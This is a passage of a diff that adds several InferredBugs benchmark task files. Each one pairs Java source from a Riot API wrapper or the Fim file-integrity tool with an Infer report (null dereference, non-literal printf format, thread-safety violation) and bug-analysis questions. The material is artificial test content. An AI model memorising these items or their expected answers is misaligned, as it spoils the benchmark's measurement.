+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions() throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(getRegion(), getKey());
+    }
+    
+    /**
+    *
+    */
+   public List<String> getDataLanguages(Region region) throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(region.getName(), getKey());
+   }
+
+   /**
+    *
+    */
+   public List<String> getDataLanguages() throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(getRegion(), getKey());
+   }
+   
+    /**
+    *
+    */
+   public List<Shard> getShards() throws RiotApiException {
+
+       return StatusMethod.getShards();
+   }
+   
+   /**
+   *
+   */
+  public ShardStatus getShardStatus(Region region) throws RiotApiException {
+
+      return StatusMethod.getShardStatus(region.getName());
+  }
+
+   /**
+   *
+   */
+  public ShardStatus getShardStatus() throws RiotApiException {
+
+     return StatusMethod.getShardStatus(getRegion());
+ }
+  
+	  /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), null, null);
+	 }
+
+	  /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), null, null);
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames(Region region) throws RiotApiException {
+	
+	     return FeaturedGamesMethod.getFeaturedGames(region.getName(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames() throws RiotApiException {
+			
+	     return FeaturedGamesMethod.getFeaturedGames(getRegion(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public CurrentGameInfo getCurrentGameInfo(PlatformId platformId, long summonerId) throws RiotApiException {
+	
+	     return CurrentGameMethod.getCurrentGameInfo(platformId, getKey(), summonerId);
+	 }
+	 
+    /**
+     * Get the currently set season
+     *
+     * @return The currently set season
+     */
+    public String getSeason() {
+    	if(season == null){
+    		return null;
+    	}
+        return season.getName();
+    }
+
+    /**
+     * Get the currently set API key
+     *
+     * @return The currently set API key
+     */
+    public String getKey() {
+        return key;
+    }
+
+    /**
+     * Get the currently set region
+     *
+     * @return The currently set region
+     * @throws  
+     */
+    public String getRegion() {
+        return region.getName();
+    }
+
+    /**
+     * Set the season
+     *
+     * @param season The season to set
+     */
+    public void setSeason(Season season) {
+        this.season = season;
+    }
+
+    /**
+     * Set the API key
+     *
+     * @param key The API key to set
+     */
+    public void setKey(String key) {
+        this.key = key;
+    }
+
+    /**
+     * Set the region
+     *
+     * @param region The region to set
+     */
+    public void setRegion(Region region) {
+        this.region = region;
+        setEndpoint();
+    }
+
+    /**
+     * Get the base URL for all API requests
+     *
+     * @return The base URL for all API requests
+     */
+    public String getEndpoint() {
+        return endpoint;
+    }
+
+    private void setEndpoint() {
+        this.endpoint = region.getEndpoint();
+    }
+    
+    public RiotApi clone() {
+    	return new RiotApi(this.key, this.region);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getDataSummonerSpellList(...)` at line 1569.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SummonerSpellList RiotApi.getDataSummonerSpellList(Region)
+
+### Procedure Id:
+main.java.riotapi.RiotApi.getDataSummonerSpellList(constant.Region):dto.Static.SummonerSpellList.3dff58f90a47cfc1a46e56395a8c28c2
+
+### File:
+src/main/java/riotapi/RiotApi.java
+
+### Key:
+RiotApi.java|getDataSummonerSpellList|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+19f2a92caa9362375788971929228174
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8390/instruction.md b/inferredbugs-8390/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..efb4b7155c12f66256015c5a52c35bb404fbb684
--- /dev/null
+++ b/inferredbugs-8390/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim.model;
+
+import static org.fim.util.FormatUtil.formatCreationTime;
+import static org.fim.util.FormatUtil.formatDate;
+import static org.fim.util.FormatUtil.formatLastModified;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import org.fim.util.Console;
+
+public class CompareResult
+{
+	public static final String NOTHING = "[nothing]";
+
+	private static final Comparator<Difference> fileNameComparator = new Difference.FileNameComparator();
+
+	private List<Difference> added;
+	private List<Difference> copied;
+	private List<Difference> duplicated;
+	private List<Difference> dateModified;
+	private List<Difference> contentModified;
+	private List<Difference> attributesModified;
+	private List<Difference> renamed;
+	private List<Difference> deleted;
+	private List<Difference> corrupted;
+
+	private Context context;
+	private State lastState;
+	private boolean searchForHardwareCorruption;
+
+	public CompareResult(Context context, State lastState)
+	{
+		this.context = context;
+		this.lastState = lastState;
+		this.searchForHardwareCorruption = false;
+
+		added = new ArrayList<>();
+		copied = new ArrayList<>();
+		duplicated = new ArrayList<>();
+		dateModified = new ArrayList<>();
+		contentModified = new ArrayList<>();
+		attributesModified = new ArrayList<>();
+		renamed = new ArrayList<>();
+		deleted = new ArrayList<>();
+		corrupted = new ArrayList<>();
+	}
+
+	public boolean isSearchForHardwareCorruption()
+	{
+		return searchForHardwareCorruption;
+	}
+
+	public void setSearchForHardwareCorruption(boolean searchForHardwareCorruption)
+	{
+		this.searchForHardwareCorruption = searchForHardwareCorruption;
+	}
+
+	public void sortResults()
+	{
+		sortDifferences(added);
+		sortDifferences(copied);
+		sortDifferences(duplicated);
+		sortDifferences(dateModified);
+		sortDifferences(contentModified);
+		sortDifferences(attributesModified);
+		sortDifferences(renamed);
+		sortDifferences(deleted);
+		sortDifferences(corrupted);
+	}
+
+	private void sortDifferences(List<Difference> differences)
+	{
+		Collections.sort(differences, fileNameComparator);
+	}
+
+	public CompareResult displayChanges()
+	{
+		if (lastState != null)
+		{
+			System.out.printf("Comparing with the last committed state from %s%n", formatDate(lastState.getTimestamp()));
+			if (lastState.getComment().length() > 0)
+			{
+				System.out.println("Comment: " + lastState.getComment());
+			}
+			Console.newLine();
+		}
+
+		if (!context.isVerbose())
+		{
+			displayCounts();
+			return this;
+		}
+
+		String stateFormat = "%-17s ";
+
+		for (Difference diff : added)
+		{
+			System.out.printf(stateFormat + "%s%n", "Added:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : copied)
+		{
+			System.out.printf(stateFormat + "%s \t(was %s)%n", "Copied:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName());
+		}
+
+		for (Difference diff : duplicated)
+		{
+			System.out.printf(stateFormat + "%s = %s%s%n", "Duplicated:", diff.getFileState().getFileName(), diff.getPreviousFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : dateModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Date modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : contentModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Content modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : attributesModified)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Attrs. modified:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		for (Difference diff : renamed)
+		{
+			System.out.printf(stateFormat + "%s -> %s%s%n", "Renamed:", diff.getPreviousFileState().getFileName(), diff.getFileState().getFileName(), formatModifiedAttributes(diff, true));
+		}
+
+		for (Difference diff : deleted)
+		{
+			System.out.printf(stateFormat + "%s%n", "Deleted:", diff.getFileState().getFileName());
+		}
+
+		for (Difference diff : corrupted)
+		{
+			System.out.printf(stateFormat + "%s \t%s%n", "Corrupted?:", diff.getFileState().getFileName(), formatModifiedAttributes(diff, false));
+		}
+
+		if (somethingModified())
+		{
+			Console.newLine();
+		}
+
+		displayCounts();
+
+		return this;
+	}
+
+	private String formatModifiedAttributes(Difference diff, boolean nextLine)
+	{
+		int modifCount = 0;
+		StringBuilder modification = new StringBuilder(nextLine ? " " : ""); // Put a white space to force to add a separator
+
+		Map<String, String> previousFileAttributes = diff.getPreviousFileState().getFileAttributes();
+		Map<String, String> currentFileAttributes = diff.getFileState().getFileAttributes();
+		for (FileAttribute attribute : FileAttribute.values())
+		{
+			String key = attribute.name();
+			String previousValue = getValue(previousFileAttributes, key);
+			String currentValue = getValue(currentFileAttributes, key);
+
+			if (false == Objects.equals(previousValue, currentValue))
+			{
+				modifCount++;
+				addSeparator(diff, modification);
+				modification.append(key).append(": ").append(previousValue).append(" -> ").append(currentValue);
+			}
+		}
+
+		if (diff.isCreationTimeChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("creationTime: ").append(formatCreationTime(diff.getPreviousFileState())).append(" -> ").append(formatCreationTime(diff.getFileState()));
+		}
+
+		if (diff.isLastModifiedChanged())
+		{
+			modifCount++;
+			addSeparator(diff, modification);
+			modification.append("lastModified: ").append(formatLastModified(diff.getPreviousFileState())).append(" -> ").append(formatLastModified(diff.getFileState()));
+		}
+
+		if (modifCount > 1)
+		{
+			modification.append('\n');
+		}
+
+		return modification.toString();
+	}
+
+	private void addSeparator(Difference diff, StringBuilder modification)
+	{
+		if (modification.length() == 0)
+		{
+			return;
+		}
+
+		modification.append("\n");
+		int len = 17 + 1 + diff.getFileState().getFileName().length() + 1;
+		for (int index = 0; index < len; index++)
+		{
+			modification.append(' ');
+		}
+		modification.append('\t');
+	}
+
+	private String getValue(Map<String, String> attributes, String key)
+	{
+		String value = attributes != null ? attributes.get(key) : null;
+		if (value == null || value.length() == 0)
+		{
+			value = NOTHING;
+		}
+		return value;
+	}
+
+	public CompareResult displayCounts()
+	{
+		if (somethingModified())
+		{
+			String message = "";
+			if (!added.isEmpty())
+			{
+				message += "" + added.size() + " added, ";
+			}
+
+			if (!copied.isEmpty())
+			{
+				message += "" + copied.size() + " copied, ";
+			}
+
+			if (!duplicated.isEmpty())
+			{
+				message += "" + duplicated.size() + " duplicated, ";
+			}
+
+			if (!dateModified.isEmpty())
+			{
+				message += "" + dateModified.size() + " date modified, ";
+			}
+
+			if (!attributesModified.isEmpty())
+			{
+				message += "" + attributesModified.size() + " attrs. modified, ";
+			}
+
+			if (!contentModified.isEmpty())
+			{
+				message += "" + contentModified.size() + " content modified, ";
+			}
+
+			if (!renamed.isEmpty())
+			{
+				message += "" + renamed.size() + " renamed, ";
+			}
+
+			if (!deleted.isEmpty())
+			{
+				message += "" + deleted.size() + " deleted, ";
+			}
+
+			if (!corrupted.isEmpty())
+			{
+				message += "" + corrupted.size() + " corrupted, ";
+			}
+
+			message = message.replaceAll(", $", "");
+			System.out.println(message);
+		}
+		else
+		{
+			if (isSearchForHardwareCorruption())
+			{
+				System.out.println("Nothing corrupted");
+			}
+			else
+			{
+				System.out.println("Nothing modified");
+			}
+		}
+
+		return this;
+	}
+
+	public boolean somethingModified()
+	{
+		return modifiedCount() > 0;
+	}
+
+	public int modifiedCount()
+	{
+		return added.size() + copied.size() + duplicated.size() + dateModified.size() + contentModified.size() +
+				attributesModified.size() + renamed.size() + deleted.size() + corrupted.size();
+	}
+
+	public ModificationCounts getModificationCounts()
+	{
+		ModificationCounts modificationCounts = new ModificationCounts();
+		modificationCounts.setAdded(added.size());
+		modificationCounts.setCopied(copied.size());
+		modificationCounts.setDuplicated(duplicated.size());
+		modificationCounts.setDateModified(dateModified.size());
+		modificationCounts.setContentModified(contentModified.size());
+		modificationCounts.setAttributesModified(attributesModified.size());
+		modificationCounts.setRenamed(renamed.size());
+		modificationCounts.setDeleted(deleted.size());
+
+		return modificationCounts;
+	}
+
+	public List<Difference> getAdded()
+	{
+		return added;
+	}
+
+	public List<Difference> getCopied()
+	{
+		return copied;
+	}
+
+	public List<Difference> getDuplicated()
+	{
+		return duplicated;
+	}
+
+	public List<Difference> getDateModified()
+	{
+		return dateModified;
+	}
+
+	public List<Difference> getContentModified()
+	{
+		return contentModified;
+	}
+
+	public List<Difference> getAttributesModified()
+	{
+		return attributesModified;
+	}
+
+	public List<Difference> getRenamed()
+	{
+		return renamed;
+	}
+
+	public List<Difference> getDeleted()
+	{
+		return deleted;
+	}
+
+	public List<Difference> getCorrupted()
+	{
+		return corrupted;
+	}
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CompareResult CompareResult.displayChanges()
+
+### Procedure Id:
+org.fim.model.CompareResult.displayChanges():org.fim.model.CompareResult.a1ae9cd3721eb660a7fec409bf8af966
+
+### File:
+src/main/java/org/fim/model/CompareResult.java
+
+### Key:
+CompareResult.java|displayChanges|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8f5f91250d216a5d69d5b79057aab607
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8391/instruction.md b/inferredbugs-8391/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69145ce0f336585fd137b6357a76a825899939e0
--- /dev/null
+++ b/inferredbugs-8391/instruction.md
@@ -0,0 +1,411 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim.internal;
+
+import java.io.IOException;
+import java.nio.file.DirectoryStream;
+import java.nio.file.Files;
+import java.nio.file.LinkOption;
+import java.nio.file.Path;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.apache.commons.io.FileUtils;
+import org.apache.commons.lang3.time.DurationFormatUtils;
+import org.apache.commons.lang3.tuple.Pair;
+import org.fim.model.FileState;
+import org.fim.model.HashMode;
+import org.fim.model.Parameters;
+import org.fim.model.State;
+import org.fim.util.Logger;
+
+public class StateGenerator
+{
+	public static final int PROGRESS_DISPLAY_FILE_COUNT = 10;
+	public static final int FILES_QUEUE_CAPACITY = 500;
+
+	private static final Set ignoredDirectories = new HashSet<>(Arrays.asList(Parameters.DOT_FIM_DIR, ".git", ".svn", ".cvs"));
+
+	private static final Pair<Character, Integer>[] hashProgress = new Pair[]
+			{
+					Pair.of('.', 0),
+					Pair.of('o', FileState.SIZE_20_MB),
+					Pair.of('O', FileState.SIZE_50_MB),
+					Pair.of('@', FileState.SIZE_100_MB),
+					Pair.of('#', FileState.SIZE_200_MB)
+			};
+
+	private static Comparator<FileState> fileNameComparator = new FileState.FileNameComparator();
+
+	private final Parameters parameters;
+	private final ReentrantLock progressLock;
+
+	private ExecutorService executorService;
+	private long summedFileLength;
+	private int fileCount;
+	private long totalFileContentLength;
+
+	private Path fimRepositoryRootDir;
+	private BlockingDeque<Path> filesToHash;
+	private boolean hashersStarted;
+	private List<FileHasher> hashers;
+	private long totalBytesHashed;
+
+	public StateGenerator(Parameters parameters)
+	{
+		this.parameters = parameters;
+		this.progressLock = new ReentrantLock();
+	}
+
+	public State generateState(String comment, Path fimRepositoryRootDir) throws IOException, NoSuchAlgorithmException
+	{
+		this.fimRepositoryRootDir = fimRepositoryRootDir;
+
+		Logger.info(String.format("Scanning recursively local files, %s, using %d thread", hashModeToString(), parameters.getThreadCount()));
+		if (displayHashLegend())
+		{
+			System.out.printf("    (Hash progress legend for files grouped %d by %d: %s)%n", PROGRESS_DISPLAY_FILE_COUNT, PROGRESS_DISPLAY_FILE_COUNT, hashProgressLegend());
+		}
+
+		State state = new State();
+		state.setComment(comment);
+
+		long start = System.currentTimeMillis();
+		progressOutputInit();
+
+		filesToHash = new LinkedBlockingDeque<>(FILES_QUEUE_CAPACITY);
+		InitializeFileHashers();
+
+		scanFileTree(filesToHash, fimRepositoryRootDir);
+
+		// In case the FileHashers have not been started
+		startFileHashers();
+
+		waitAllFilesToBeHashed();
+
+		for (FileHasher hasher : hashers)
+		{
+			state.getFileStates().addAll(hasher.getFileStates());
+			totalFileContentLength += hasher.getTotalFileContentLength();
+			totalBytesHashed += hasher.getTotalBytesHashed();
+		}
+
+		Collections.sort(state.getFileStates(), fileNameComparator);
+
+		progressOutputStop();
+		displayStatistics(start, state);
+
+		return state;
+	}
+
+	private void InitializeFileHashers()
+	{
+		hashersStarted = false;
+		hashers = new ArrayList<>();
+		executorService = Executors.newFixedThreadPool(parameters.getThreadCount());
+	}
+
+	private void startFileHashers() throws NoSuchAlgorithmException
+	{
+		if (!hashersStarted)
+		{
+			for (int index = 0; index < parameters.getThreadCount(); index++)
+			{
+				FileHasher hasher = new FileHasher(this, filesToHash, fimRepositoryRootDir.toString());
+				executorService.submit(hasher);
+				hashers.add(hasher);
+			}
+			hashersStarted = true;
+		}
+	}
+
+	private String hashModeToString()
+	{
+		switch (parameters.getHashMode())
+		{
+			case DONT_HASH_FILES:
+				return "retrieving only file attributes";
+
+			case HASH_ONLY_FIRST_FOUR_KILO:
+				return "hashing only first four kilo";
+
+			case HASH_ONLY_FIRST_MEGA:
+				return "hashing only first mega";
+
+			case COMPUTE_ALL_HASH:
+				return "computing all hash";
+		}
+
+		throw new IllegalArgumentException("Invalid hash mode " + parameters.getHashMode());
+	}
+
+	private void waitAllFilesToBeHashed()
+	{
+		try
+		{
+			executorService.shutdown();
+			executorService.awaitTermination(3, TimeUnit.DAYS);
+		}
+		catch (InterruptedException ex)
+		{
+			Logger.error(ex);
+		}
+	}
+
+	private void displayStatistics(long start, State state)
+	{
+		long duration = System.currentTimeMillis() - start;
+
+		String totalFileContentLengthStr = FileUtils.byteCountToDisplaySize(totalFileContentLength);
+		String totalBytesHashedStr = FileUtils.byteCountToDisplaySize(totalBytesHashed);
+		String durationStr = DurationFormatUtils.formatDuration(duration, "HH:mm:ss");
+
+		if (parameters.getHashMode() == HashMode.DONT_HASH_FILES)
+		{
+			Logger.info(String.format("Scanned %d files (%s), during %s, using %d thread%n",
+					state.getFileStates().size(), totalFileContentLengthStr, durationStr, parameters.getThreadCount()));
+		}
+		else
+		{
+			Logger.info(String.format("Scanned %d files (%s), hashed %s bytes, during %s, using %d thread%n",
+					state.getFileStates().size(), totalFileContentLengthStr, totalBytesHashedStr, durationStr, parameters.getThreadCount()));
+		}
+	}
+
+	private void scanFileTree(BlockingDeque<Path> filesToHash, Path directory) throws IOException, NoSuchAlgorithmException
+	{
+		try (DirectoryStream<Path> stream = Files.newDirectoryStream(directory))
+		{
+			for (Path file : stream)
+			{
+				if (!hashersStarted && filesToHash.size() > FILES_QUEUE_CAPACITY / 2)
+				{
+					startFileHashers();
+				}
+
+				BasicFileAttributes attributes = Files.readAttributes(file, BasicFileAttributes.class, LinkOption.NOFOLLOW_LINKS);
+				if (attributes.isRegularFile())
+				{
+					try
+					{
+						filesToHash.offer(file, 120, TimeUnit.MINUTES);
+					}
+					catch (InterruptedException ex)
+					{
+						Logger.error(ex);
+					}
+				}
+				else if (attributes.isDirectory())
+				{
+					String fileName = file.getFileName().toString();
+					if (ignoredDirectories.contains(fileName))
+					{
+						continue;
+					}
+
+					scanFileTree(filesToHash, file);
+				}
+			}
+		}
+	}
+
+	private void progressOutputInit()
+	{
+		summedFileLength = 0;
+		fileCount = 0;
+	}
+
+	public void updateProgressOutput(long fileSize) throws IOException
+	{
+		progressLock.lock();
+		try
+		{
+			fileCount++;
+
+			if (displayHashLegend())
+			{
+				summedFileLength += fileSize;
+
+				if (fileCount % PROGRESS_DISPLAY_FILE_COUNT == 0)
+				{
+					System.out.print(getProgressChar(summedFileLength));
+					summedFileLength = 0;
+				}
+			}
+
+			if (fileCount % (100 * PROGRESS_DISPLAY_FILE_COUNT) == 0)
+			{
+				if (displayHashLegend())
+				{
+					System.out.println("");
+				}
+			}
+		}
+		finally
+		{
+			progressLock.unlock();
+		}
+	}
+
+	private String hashProgressLegend()
+	{
+		StringBuilder sb = new StringBuilder();
+		for (int progressIndex = hashProgress.length - 1; progressIndex >= 0; progressIndex--)
+		{
+			char marker = hashProgress[progressIndex].getLeft();
+			sb.append(marker);
+
+			int fileLength = hashProgress[progressIndex].getRight();
+			if (fileLength == 0)
+			{
+				sb.append(" otherwise");
+			}
+			else
+			{
+				sb.append(" > ").append(FileUtils.byteCountToDisplaySize(fileLength));
+			}
+			sb.append(", ");
+		}
+		String legend = sb.toString();
+		legend = legend.substring(0, legend.length() - 2);
+		return legend;
+	}
+
+	private char getProgressChar(long fileLength)
+	{
+		int progressIndex;
+		for (progressIndex = hashProgress.length - 1; progressIndex >= 0; progressIndex--)
+		{
+			if (fileLength > hashProgress[progressIndex].getRight())
+			{
+				break;
+			}
+		}
+		return hashProgress[progressIndex].getLeft();
+	}
+
+	private void progressOutputStop()
+	{
+		if (displayHashLegend())
+		{
+			if (fileCount > PROGRESS_DISPLAY_FILE_COUNT)
+			{
+				System.out.println("");
+			}
+		}
+	}
+
+	private boolean displayHashLegend()
+	{
+		return parameters.isVerbose() && parameters.getHashMode() != HashMode.DONT_HASH_FILES;
+	}
+
+	public Parameters getParameters()
+	{
+		return parameters;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.fim.internal.StateGenerator.generateState` indirectly writes to field `this.org.fim.internal.StateGenerator.fileCount` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+State StateGenerator.generateState(String,Path)
+
+### Procedure Id:
+org.fim.internal.StateGenerator.generateState(java.lang.String,java.nio.file.Path):org.fim.model.Sta.dcefa56923acbef36aa2f70171181cef
+
+### File:
+src/main/java/org/fim/internal/StateGenerator.java
+
+### Key:
+StateGenerator.java|generateState|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+fdab50934677752304e4bc7583e43e51
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8396/instruction.md b/inferredbugs-8396/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..37f8560d4a6cb50d8cd876c9f15593ee1321a99b
--- /dev/null
+++ b/inferredbugs-8396/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fim
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Fim - File Integrity Manager
+ *
+ * Copyright (C) 2015  Etienne Vrignaud
+ *
+ * Fim is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Fim is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Fim.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.fim.model;
+
+import static org.fim.util.FormatUtil.formatCreationTime;
+import static org.fim.util.FormatUtil.formatDate;
+import static org.fim.util.FormatUtil.formatLastModified;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import org.fim.util.Console;
+
+public class CompareResult
+{
+	public static final String NOTHING = "[nothing]";
+
+	private static final Comparator<Difference> fileNameComparator = new Difference.FileNameComparator();
+
+	private List<Difference> added;
